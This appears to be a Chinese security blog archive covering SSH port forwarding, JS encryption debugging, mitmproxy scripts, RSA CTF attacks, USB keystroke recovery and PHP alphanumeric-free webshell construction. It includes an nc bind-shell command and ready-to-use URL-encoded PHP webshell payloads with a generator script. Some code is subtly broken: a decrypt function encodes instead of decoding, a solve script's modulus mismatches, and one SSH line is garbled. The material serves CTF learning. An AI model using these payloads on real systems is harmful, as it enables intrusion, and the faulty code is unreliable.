ssh服务运行在绑定到 127.0.0.1 的端口上，远程端口转发公开了一个模糊的端口（绑定到本地主机），以便可以通过 SSH 隧道从外部访问它。使用 ssh 隧道创建远程端口转发的伪语法是：

ssh -R 5555:LOCAL_HOST:4444 user@SSH_SERVER

SSHSERVER 上的端口 5555 的任何流量都将转发到远程主机IP 上的端口 4444 - 运行只能从该主机内部访问的服务的主机。换句话说，远程主机IP 上的 4444 端口上的服务现在将通过 SSHSERVER 的 5555 端口公开。

在机器 10.0.0.12 上让我们在端口 4444 上创建一个绑定到 127.0.0.1（无法从外部访问主机）的反向 shell 监听器：

nc -lp 4444 -s 127.0.0.1 -e /bin/bash & ss -lt

打开一个到 10.0.0.5 的隧道，并通过为主机 10.0.0.5 公开端口 4444 来创建远程端口转发：

ssh - R5555 : localhost : 4444 root@ 10.0.0.5 - fN

上面说：在 10.0.0.5 上绑定一个端口 5555，发送到 10.0.0.5 上的端口 5555 的任何流量都被转发到一个在本地主机上监听的服务：4444 到此框 (10.0.0.12)。在机器 10.0.0.5 上实际上，作为隧道创建的一部分，我们可以看到在 10.0.0.5 上打开了一个端口 5555：

流量发送到 127.0.0.1:5555 - 这应该给我们一个来自 10.0.0.12:4444 的反向 shell

SSH：动态端口转发

用于创建动态端口转发的伪语法：

ssh -D 127.0.0.1:9090 user@SSH_SERVER

本地主机上的端口 9090 以及发送到此端口的任何流量，请将其中继到 SSH_SERVER - 它会为建立连接。设置动态端口转发之前检查我们当前的 IP 是什么：

在本地机器 10.0.0.5 上创建到 159.65.200.10 的 ssh 隧道并绑定端口 9090：

ssh -D9090 root@159.65.200.10

检查本地主机 10.0.0.5 上的网络连接，我们可以看到端口 9090 现在正在监听：

我们向 127.0.0.1:9090 发送任何流量，该流量将被发送到 ssh 隧道另一端的主机 - 159.65.200.10，然后主机 159.65.200.10 将代表其他主机建立连接主机 10.0.0.5。它会将收到的任何数据返回给原始主机 10.0.0.5。为了对此进行测试，我们可以将浏览器设置为使用 socks5 代理服务器 127.0.0.1:9090，如下所示：

完事之后，再看看我们的外网IP是多少，可见是：159.65.xx.xx，说明已经成功了

JS加解密

Sun, 29 Oct 2023 20:41:00 GMT

0x00 测试环境

https://my.sto.cn/

0x01 断点调试方法

# 代码全局搜索
# 文件流程断点
# 代码标签断点
# XHR提交断点

# 调用堆栈：（由下到上）简单来说就是代码的执行逻辑顺序

代码全局搜索

通过post请求Vip/LoginResult路径，将data中的logindata数据提交，向上找加密算法

没有定义，再向上寻找定义的方法，找到定义方法

得到加密值

文件流程断点

这里查看调用堆栈，可以知道有哪些文件在请求中被调用了，运行方式为：由下往上

点击Login跳转到调用位置

点击添加断点

再次提交表单则会被拦截

鼠标放在logindata上发现已经被加密了，在作用域中查看

在Login和(anonymous)之间存在加密方式，进入Login()函数进行了加密

向上找可以发现调用的js文件

代码标签断点

找到源代码，右键断电，根据情况选择子树修改、属性修改和移除节点

XHR提交断点

添加一个XHR断点，这里添加的是请求的路径，前面得知了是/Vip/LoginResult

得到断点

0x02 实例

https://account.hpc.sjtu.edu.cn/#/login

代码标签断点得到的内容有些混乱

直接在网络跟踪栈

添加断点后重新提交

得到JS加密函数和加密方式，这个s很明显是加密后的数值，o是设置的公钥

保存这个被调用的js文件，在本地进行测试

o = "305c300d06092a864886f70d0101010500034b003048024100959684a0076fd2a8fc1589469cf8c95f16ef67490c519f4d274373f29cee64cf6a0db8ad8953122c5b3664e4a48acd34d9b95c0ae62a31be612632e1c49154db0203010001"

var r = new JSEncrypt,o = "305c300d06092a864886f70d0101010500034b003048024100959684a0076fd2a8fc1589469cf8c95f16ef67490c519f4d274373f29cee64cf6a0db8ad8953122c5b3664e4a48acd34d9b95c0ae62a31be612632e1c49154db0203010001";
r.setPublicKey(o);
var s = r.encrypt('123456');
console.log(s);

mitmproxy加载burp加解密

Sun, 29 Oct 2023 18:40:00 GMT

0x00 安装

在 linux 中：

sudo pip3 install mitmproxy

在 windows 中，以管理员身份运行 cmd 或 power shell：

pip3 install mitmproxy

安装结束。

完成后，系统将拥有 mitmproxy、mitmdump、mitmweb 三个命令，由于 mitmproxy 命令不支持在 windows 系统中运行（这没关系，不用担心），我们可以拿 mitmdump 测试一下安装是否成功，执行：

mitmdump --version

应当可以看到类似于这样的输出：

Mitmproxy: 9.0.1
Python:    3.9.2
OpenSSL:   OpenSSL 3.0.7 1 Nov 2022
Platform:  Windows-10-10.0.22621-SP0

0x01 使用

固定格式：

from mitmproxy import http


class AutoDecoderClass(object):

    def request(self, flow: http.HTTPFlow):
        pass

    def response(self, flow: http.HTTPFlow):
        pass


addons = [
    AutoDecoderClass()
]

针对burp重放包中的数据进行加解密

from mitmproxy import http
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from pwn import *

key = b'0ddmas1dfzcaedev'


def encrypt(text, key):
    cipher = AES.new(key, AES.MODE_ECB)
    padded_text = pad(text.encode('utf-8'), AES.block_size)
    encrypted_data = cipher.encrypt(padded_text)
    return b64e(encrypted_data).decode('utf-8')


def decrypt(encoded_text, key):
    cipher = AES.new(key, AES.MODE_ECB)
    encrypted_data = b64e(encoded_text.encode('utf-8'))
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted_data.decode('utf-8').encode('utf-8')


class AutoDecoderClass(object):

    def request(self, flow: http.HTTPFlow):

        # 如果body中有data字段
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':
            # 如果是json格式
            if 'data' in json.loads(flow.request.content):
                print()
            else:
                flow.request.content = json.dumps({'data': encrypt(flow.request.content.decode('utf-8'), key)}).encode('utf-8')
                print(flow.request.content)

    def response(self, flow: http.HTTPFlow):
        print(flow.request.content)
        pass


addons = [
    AutoDecoderClass()
]

0x02 实例

环境：
JeeSite V5.3.1
默认口令：
system
admin

此站点的加密是base64

from mitmproxy import http
import base64


class AutoDecoderClass(object):

    def request(self, flow: http.HTTPFlow):
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/x-www-form-urlencoded; charset=UTF-8':
            # print(flow.request.content)
            data = flow.request.content.decode('utf-8').split('&')
            for i in range(len(data)):
                if data[i].split('=')[0] == 'username':
                    data[i] = 'username=' + base64.b64encode(data[i].split('=')[1].encode('utf-8')).decode('utf-8')
                if data[i].split('=')[0] == 'password':
                    data[i] = 'password=' + base64.b64encode(data[i].split('=')[1].encode('utf-8')).decode('utf-8')
            data = '&'.join(data)
            print(data)
            flow.request.content = data.encode('utf-8')

        pass

    def response(self, flow: http.HTTPFlow):
        pass


addons = [
    AutoDecoderClass()
]

启动命令

mitmdump -s demo2_base64.py --ssl-insecure --listen-port 55555 --mode socks5

数据包重放

使用插件

RSA共模攻击

Mon, 09 Oct 2023 10:03:00 GMT

RSA共模攻击

共模攻击又称为同模攻击
利用前提就是，RSA 体系在生成密钥的过程中使用了相同的模数 n。
在 CTF 题目中，就是同一明文，同一 n，不同 e，进行加密。
m，n 相同；e，c不同，且 e1 和 e2 互质

出题脚本

import libnum
import gmpy2
#生成素数
p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
e1=2333
e2=23333
m="flag{6ed4c74e022cb18c8039e96de93aa9ce}"
m=libnum.s2n(m)
n=p*q
c1=pow(m,e1,n)
c2=pow(m,e2,n)
print("n1=",n)
print("e1=",e1)
print("c1=",c1)
print("n2=",n)
print("e2=",e2)
print("c2=",c2)

n1= 22817687453594561093170822818588556986000277011160841262403199551502393484061389491076634028395392962009793343228923092886612054684991389737345787326688972149020842914583529891082951179868956251440218819392737891580746359703612669934795746328529684247374338767533615449137922700209178872879393811272704609719211648918140586912108580205636048007578563306043719614052483880870863585575789285811137240550308561197822070383596622339059648874103646152181728062250516561732247367298336213353262461433129881382518579313853002877615869600273701570716055172359763089001737467178031343367158386145278698670428722439275845919781
e1= 2333
c1= 3068809693807866023250755658664845434485205828465649532485636355597541495998547292203314532428913714359308569689226326859742231253434512875638995289737105648245479262947503107061775198134528761923809971337752228433712694907389266491011323130151153659988164704012204904188050921984759096394916823487514822445094725670595389625922254860442056207665348751725474779763956046176636678179973856349898301877434746301170348718023275617926638966403382396173578715063898456749053806934669362603972508535137105087580584331172845215217788861292350387522104196969389523864142820496499475769368225502201005081764695328115125716051
n2= 22817687453594561093170822818588556986000277011160841262403199551502393484061389491076634028395392962009793343228923092886612054684991389737345787326688972149020842914583529891082951179868956251440218819392737891580746359703612669934795746328529684247374338767533615449137922700209178872879393811272704609719211648918140586912108580205636048007578563306043719614052483880870863585575789285811137240550308561197822070383596622339059648874103646152181728062250516561732247367298336213353262461433129881382518579313853002877615869600273701570716055172359763089001737467178031343367158386145278698670428722439275845919781
e2= 23333
c2= 14321584584635710601699862022940447451458443319804064303028371997206157560474856130068721352840265237932584758125998845200030240230088697475257804076891915461964081330330701969941369024375036108814909954911842762561181905181080581182569456796896705718244477631301075420423567981003074132957174019040041623975800201106522574541756690453732269869578461267131690321760712385293576843426568170997558455004390668769058534236566151168725808220917155776537019046559669930314898872064974853472108134659947349093033210643312110173688854873249213787719807659050762967536386015370877644748346382736830713914593995648231348173041

解题脚本

import gmpy2
import libnum

n = 25333966058003377512707481338795714713737652659944601834182685873529702913988641983855700459996104700470621411559153944988952210084014634675583566338568882440708528997808798650962116756969822211586531522430245040013570571043385238601846104615050089457836721437790715225367971106085839523500735480715155424498941150468093083816830215632716244390679417218873179734276657411907216486790815037105108306055794473002315541787461904728375164737225486501009857299717749346279371251245318729951905832578739696926931502225899707226264570557623527701806829827566904224572897378639191756878049342203546309520458672464170859577433
e1 = 2333
c1 = 11355981897781478907853356911752561659125575027336719997290835661089901154031171698660586203170528368228850895159361637188990782030255983633790580700032092629587631108597144196551438410868034739981960656110887650747325311613900008001234835897835613759692146419080113176963747835592656185435741504176116672174539018089139547795447109458469225330809064539216773123671814859510069089532677704482026169178543062578686794346026774853085101278125763460212801929360456888869350105294595904940799522522144740464043605342348269086324747729288399275079874271519208155039364092577755518532799345651172433227745483422620900776136
e2 = 23333
c2 = 1326499538902841116411674554069945581390130048432351353260154261863309471312810811160302458644816390944833633923435634961251092531893503039914793217247984595331920909367627316087404934402312358642315675486438968585084964845763881078835787872160374025547400141298650794551970291119975344578667689961134814676553190178139842507675899262024572370313939107080072875068218336255452161407859907308656094331557912187788276334833723893856310434523337557011032081467262457427167978528280339494077785813461280853735266463152709443731638714219391773144349752633555310299318290576258086971373777118482642702020599928071855133041

# 共模攻击函数
def rsa_gm_attack(e1, e2, c1, c2, n):
    # e1, e2, c1, c2, n = int(e1), int(e2), int(c1), int(c2), int(n)
    s = gmpy2.gcdext(e1, e2)      # 欧几里得公式扩展，满足 e1 * s1 + e2 * s2 = 1
    # print(s)
    s1 = s[1]
    s2 = s[2]
    # print(s1)
    # print(s2)
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
    return int(m)

m = rsa_gm_attack(e1, e2, c1, c2, n)
# print(m)
print(libnum.n2s(int(m)))

b'flag{6ed4c74e022cb18c8039e96de93aa9ce}'

共模攻击原理

两个及以上的公钥(n,e)来加密同一条信息m

c1 = pow(m, e1, n)
c2 = pow(m, e2, n)

e1，e2互质，则有

gcd(e1,e2)=1

根据扩展欧几里德算法对于不完全为 0 的整数 a，b，gcd（a，b）表示 a，b 的最大公约数。那么一定存在整数 x，y 使得 gcd（a，b）=ax+by

e1*s1+e2*s2 = 1

s1、s2皆为整数，但是一正一负，假设s1为正数,s2为负数

因为

c1 = m^e1%n
c2 = m^e2%n

可得：

(c1 ^ s1 * c2 ^ s2) % n = ((m ^ e1 % n) ^ s1 (m ^ e2 % n) ^ s2) % n

根据模运算性质：幂运算是一种关于幂的数学运算。同底数幂相乘，底数不变，指数相加。同底数幂相除，底数不变，指数相减。幂的乘方，底数不变，指数相乘。

(a * b) % p = (a % p * b % p) % p
a ^ b % p = ((a % p) ^ b) % p

简化公式为：

(c1 ^ s1 * c2 ^ s2) % n = ((m ^ e1 % n) ^ s1 * (m ^ e2 % n) ^ s2) % n

=> (c1 ^ s1 * c2 ^ s2) % n = ((m ^ e1 % n) ^ s1 % n * (m ^ e2 % n) ^ s2 % n) % n     # (a * b) % p = (a % p * b % p) % p

=> (c1 ^ s1 * c2 ^ s2) % n = ((m ^ e1) ^ s1 % n * (m ^ e2) ^ s2 % n) % n         # ((a % p) ^ b) % p =a ^ b % p

=> (c1 ^ s1 * c2 ^ s2) % n = ((m ^ e1) ^ s1 * (m ^ e2) ^ s2) % n             # (a % p * b % p) % p=(a * b) % p

=> (c1 ^ s1 * c2 ^ s2) % n = ((m ^ (e1 * s1) * (m ^ (e2 * s2)) % n           # 幂的乘方，底数不变，指数相乘。

(c1 ^ s1 * c2 ^ s2) % n = (m ^ (e1 * s1 + e2 * s2)) % n                    # 同底数幂相乘，底数不变，指数相加。

因为 e1*s1+e2*s2 = 1 得：

(c1 ^ s1 * c2 ^ s2) % n = (m ^ 1) % n

(c1 ^ s1 * c2 ^ s2）% n = m        # gcd(e1, e2) = 1 的时候

变形

假设 gcd(e1, e2) = x       # x != 1
即：
(c1 ^ s1 * c2 ^ s2) % n = (m ^ x) % n
所以真实的 m1：
m1 = (m ^ x) % n
m1 = (m ^ x) + kn
计算的时候需要减去 k 倍的 n

上述就是rsa共模攻击的过程

因此，同一m，同一n,不同e，进行加密。在不需要知道d的情况下，可以进行解密。

RSA-dp泄露

Sun, 08 Oct 2023 10:38:00 GMT

RSA-dp泄露

原理

0x00 基本数学公式

$$ a = k * b + p $$

$$ a mod b = p $$

0x01 RSA的基本公式

c ≡ m ^ e mod n
m ≡ c ^ d mod n
ϕ(n) = (p − 1) * (q − 1)
d * e ≡ 1 mod ϕ(n)         # 乘法逆元

0x02 dp是什么

dp ≡ d mod (p − 1)

0x03 推导过程

dp ≡ d mod (p − 1)
# 两边同时乘以 e
=> dp * e = d * e mod (p - 1)
=> dp * e = d * e - k * (p - 1)
=> d * e = dp * e + k * (p - 1)
# 与下面的公式结合
d * e ≡ 1 mod ϕ(n)

# 因为：
ϕ(n) = (p − 1) * (q − 1)
# 所以可以变形：
=> d * e = 1 mod (p − 1) * (q − 1)
# 变形：
dp * e + k * (p - 1) = 1 mod (p − 1) * (q − 1)

# 结合：
dp * e + k * (p - 1) = 1 + k * (p − 1) * (q − 1)
=> dp * e = 1 + k * (p − 1) * (q − 1) - k * (p - 1)
=> dp * e = 1 + [k * (q - 1) - k] * (p - 1)
# 设 i = [k * (q - 1) - k]
=> dp * e = 1 + i * (p - 1)

dp * e = 1 + i * (p - 1)
=> dp < p - 1
=> i < e
=> i ∈ (0, e)

0x04 求p

遍历 i（65537种可能），求出( p − 1 ) (p - 1) * (p − 1)，得到 p 且能被 n 整除；接下来就是常规 RSA 的解法

for i in range(1, 65535):
    p = (dp * e - 1) // i + 1
    if n % p == 0:
        q = n // p
        phi_n = (p - 1) * (q - 1)
        d = gmpy2.invert(e, phi_n)
        m = pow(c, d, n)
        flag = libnum.n2s(int(m)).decode()
        print(flag)
        break

例题

[WUSTCTF2020] dp_leaking_1s_very_d@angerous

题目

e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825

解密脚本

import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825

for i in range(1, e):
    p = (dp * e - 1) // i + 1
    if n % p == 0:
        q = n // p
        phi = (p - 1) * (q - 1)
        d = gmpy2.invert(e, phi)
        m = pow(c, d, n)
        # print(m)
        print(long_to_bytes(m))
        # print(libnum.n2s(int(m)))
        break

easyusb

Sat, 23 Sep 2023 00:43:00 GMT

easyusb

0x00 题目

解压是一个pcapng文件，名字为easyUSB.pcapng

0x01 解题

这里的值是键盘键入的值，需要做的是将其提出来，然后通过密码本转换成相应的字符

使用wireshark的命令行版工具tshark进行分析流量包，通过下列命令：

tshark -r .\easyUSB.pcapng -T fields -e usb.capdata

-r   指定流量包文件
-T   指定筛选的字段名称（可以通过右键进行复制字段名称）

复制到的结果是：usb.capdata

所以使用tshark进行筛选的时候使用的就是这个参数

然后通过脚本进行筛选数值

#!/usr/bin/env python

import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": ":", "34": "\"", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}


def main():
    # check argv
    # if len(sys.argv) != 2:
    #     print("Usage : ")
    #     print("        python UsbKeyboardHacker.py data.pcap")
    #     print("Tips : ")
    #     print("        To use this python script , you must install the tshark first.")
    #     print("        You can use `sudo apt-get install tshark` to install it")
    #     print("Author : ")
    #     print("        WangYihang <wangyihanger@gmail.com>")
    #     print("        If you have any questions , please contact me by email.")
    #     print("        Thank you for using.")
    #     exit(1)

    # get argv
    # pcapFilePath = sys.argv[1]
    pcapFilePath = 'easyUSB.pcapng'

    # get data of pcap
    # os.system("tshark -r %s -T fields -e usbhid.data 'usb.data_len == 8' > %s" % (pcapFilePath, DataFileName))
    # os.system("tshark -r %s -T fields -e usbhid.data" % (pcapFilePath))
    os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))

    # read data
    with open(DataFileName, "r") as f:
        for line in f:
            presses.append(line[0:-1])
    # handle
    result = ""
    for press in presses:
        if press == '':
            continue
        if ':' in press:
            Bytes = press.split(":")
        else:
            Bytes = [press[i:i + 2] for i in range(0, len(press), 2)]
        if Bytes[0] == "00":
            if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
                result += normalKeys[Bytes[2]]
        elif int(Bytes[0], 16) & 0b10 or int(Bytes[0], 16) & 0b100000:  # shift key is pressed.
            if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
                result += shiftKeys[Bytes[2]]
        else:
            print("[-] Unknow Key : %s" % (Bytes[0]))
    print("[+] Found : %s" % (result))

    # clean the temp data
    # os.system("rm ./%s" % (DataFileName))


if __name__ == "__main__":
    main()

得到加密脚本的脚本键入，格式化后输出

0x02 分析

本质上就是键盘键入的值在流量包中是固定格式的内容，在脚本中将4和5两个字符作为key进行匹配转换

0x03 问题

解出来的关键在于，是否判断大写字符，如果第1和第2两个字符不为00则就是用了shift键入，这时字母是大写，数字键是上标符号位，导致出现非预期

这里有输入!，导致如果未判断shift键入，就会输出11，而真实结果应该是!!

有两个字典，一个小写，一个大写

不周到的判断，只是用了一个字典

正确的结果

systemctl命令

Fri, 15 Sep 2023 19:00:00 GMT

systemctl命令

systemctl提供了一组子命令来管理单个的unit，其命令格式为：

systemctl [command][unit]
command 主要有:
start       立刻启动后面接的 unit
stop        立刻关闭后面的 unit
restart     立刻关闭后启动后面接的 unit，亦即执行 stop 再 start 的意思
reload      不关闭 unit 的情况下，后面接的 unit 会被启动
enable      设置下次开机时，后面接的 unit 会被启动
disable     设置下次开机时，后面接的 unit 不会被启动
status      目前后面接的这个 unit 的状态，会列出有没有正在执行、开机时是否启动等信息
is-active   目前有没有正在运行中
is-enable   开机时有没有默认要启用这个 unit
kill        不要被 kill 这个名字吓着了，它其实是向运行 unit 的进程发送信号
show        列出 unit 的配置
mask        注销 unit，注销后你就无法启动这个 unit 了
unmask      取消对 unit 的注销

无字母数字构造Webshell

Thu, 14 Sep 2023 17:31:00 GMT

无字母数字构造webshell

前言

在CTFShow的每周挑战中遇到了PHP无数字字母构造webshell的一系列题目，做了做发现我这个菜鸡不怎么会，所以对此类知识进行一个简单总结，希望能对正在学习的师傅有所帮助。

构造语句的几种方式

首先来看一下最原始的题

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

此时的话只是ban了数字和字母，然后这个时候的话想要构造webshell就需要用其他字符了，然后我们这里的话可以用位运算符中的取反、自增来做这个。

异或

这里需要先讲一点基础知识。什么是异或，我们这里举一个例子，我们将字符A和?进行异或操作

<?php
echo 'A'^'?';

可以发现得到的结果是`~`，那么它是如何计算的呢，过程如下：
1、首先将`A`和`?`分别转换为对应的ASCII码：A变为65，?变为63
2、然后将其转换为对应的二进制数，A变为`1000001`，1变为`111111`
3、接下来就进行运算，异或的运算规则是相同为0，不同为1
A：1000001
1：0111111(少一位，前面补0即可) 
结果： 1111110

接下来将其二进制转换为对应十进制数，1111110对应的十进制数为126，根据ASCII码表可知126对应的是~，所以这个时候得到的字符就是~。因此，我们利用这种思路，可以借助异或构造payload如下

$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

然后我们再取消一下换行符，将它合并于一行之中

$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);

最后进行一次URL编码（因为中间件会进行一次解码，所以我们这里需要手动编码一次），即可得最终payload

%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B

接下来本地简单测试一下，测试代码为

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
    die("hacker!");
}
eval($code);
?>

但是这种方式如果自己去慢慢找的话，过程是极为缓慢的，想到我们异或一次不仅能构造出一个字符，也可以一次构造出多个字符，比如('AB')^('11')

此时就可以得到ps字符串，那我们这里是不是就可以构造一个脚本，通过一次异或运算得到我们想构造的字符串，比如system，那这里的话我们大体思路的话就有了

第一步：寻找未被过滤的字符
第二步：写入我们想构造的字符串，然后对它进行一个遍历，先获取第一个字符
第三步：用刚刚找到的未被过滤的字符进行一个遍历，看哪两个能够通过异或运算构造出第一个字符，同理得到后面的
第四步：输出时将字符进行一个URL编码，因为涉及到了部分不可见字符

这里想到之前在CTFShow命令执行系列中用过一个脚本与此类似，这里简单修改一下脚本，就可以达到我们想要的效果了，脚本如下

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# @Time : 2023/9/14 13:58 
# @Author : 大C菌
# @File : 异或webshell爆破.py 
# @Software: PyCharm
import re
import requests
import urllib
from sys import *
import os

a = []
ans1 = ""
ans2 = ""
for i in range(0, 256):  # 设置i的范围
    c = chr(i)
    # 将i转换成ascii对应的字符，并赋值给c
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
    # 设置过滤条件，让变量c在其中找对应，并利用修饰符过滤大小写，这样可以得到未被过滤的字符
    if (tmp):
        continue
        # 当执行正确时，那说明这些是被过滤掉的，所以才会被匹配到，此时我们让他继续执行即可
    else:
        a.append(i)
        # 在数组中增加i，这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya = "system"  # 函数名 这里修改！
myb = "dir"  # 参数


def myfun(k, my):  # 自定义函数
    global ans1  # 引用全局变量ans1，使得在局部对其进行更改时不会报错
    global ans2  # 引用全局变量ans2，使得在局部对其进行更改时不会报错
    for i in range(0, len(a)):  # 设置循环范围为（0，a）注：a为未被过滤的字符数量
        for j in range(i, len(a)):  # 在上个循环的条件下设置j的范围
            if (a[i] ^ a[j] == ord(my[k])):
                ans1 += chr(a[i])  # ans1=ans1+chr(a[i])
                ans2 += chr(a[j])  # ans2=ans2+chr(a[j])
                return;  # 返回循环语句中，重新寻找第二个k，这里的话就是寻找y对应的两个字符


for x in range(0, len(mya)):  # 设置k的范围
    myfun(x, mya)  # 引用自定义的函数
data1 = "('" + urllib.request.quote(ans1) + "'^'" + urllib.request.quote(
    ans2) + "')"  # data1等于传入的命令,"+ans1+"是固定格式，这样可以得到变量对应的值，再用'包裹，这样是变量的固定格式，另一个也是如此，两个在进行URL编码后进行按位与运算，然后得到对应值
print(mya + ":" + data1)
ans1 = ""  # 对ans1进行重新赋值
ans2 = ""  # 对ans2进行重新赋值
for k in range(0, len(myb)):  # 设置k的范围为(0,len(myb))
    myfun(k, myb)  # 再次引用自定义函数
data2 = "(\"" + urllib.request.quote(ans1) + "\"^\"" + urllib.request.quote(ans2) + "\")"
print(myb + ":" + data2)
print("payload:" + data1 + data2 + ";")

自增

官方文档如下 https://www.php.net/manual/zh/language.operators.increment.php

当我们通过某种方法可以得到一个字符时，我们就可以通过自增来获取其他字符，比如现在我们获取到了$_=A，我们进行$_++，此时$_就变成了B，同理就可以构造出GET以及POST字符，接下来以例子来进行讲解,这里例题的话还用之前的demo

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

我们首先可以写一个[]看一下

<?php
$_=[];
var_dump($_);

这个时候的话可以看到它就是一个数组，我们无法获取它的这个Array字符，那我们该怎么获取呢，我们尝试拼接一个数字

<?php
$_=[].'1';
var_dump($_);

这里看到输出的是Array1，我们这里是不允许出现数字的，但我们直接拼接个空是不是也是可行的呢，尝试一下

<?php
$_=[].'';
var_dump($_);

成功获取到了字符Array，然后我们获取想获取A的话，就可以采用$_[0]这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在[]里加一个==$，此时因为空和$不同，它就会输出0，此时也就等同于$_[0]，具体实现代码如下

<?php
$_ = [].'';
$_ = $_[''=='$'];
echo $_;

此时成功获取到了字符A，有了A，我们就可以通过自增依次获取其他字符，我们尝试获取一个字符G

<?php
$_=[];//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
var_dump($_);

然后看我们这里的代码的话，是eval($code)，所以我们就可以构造这种的$_GET[1]($_GET[0])，这个时候我们就可以system(ls)这种命令的执行，所以接下来的话就开始构造

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

接下来就可以尝试去给_和__GET传参，这里我们需要把换行的都去掉，然后进行一次URL编码，因为中间件会解码一次，所以我们构造的payload先变成这样

$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

而后变成

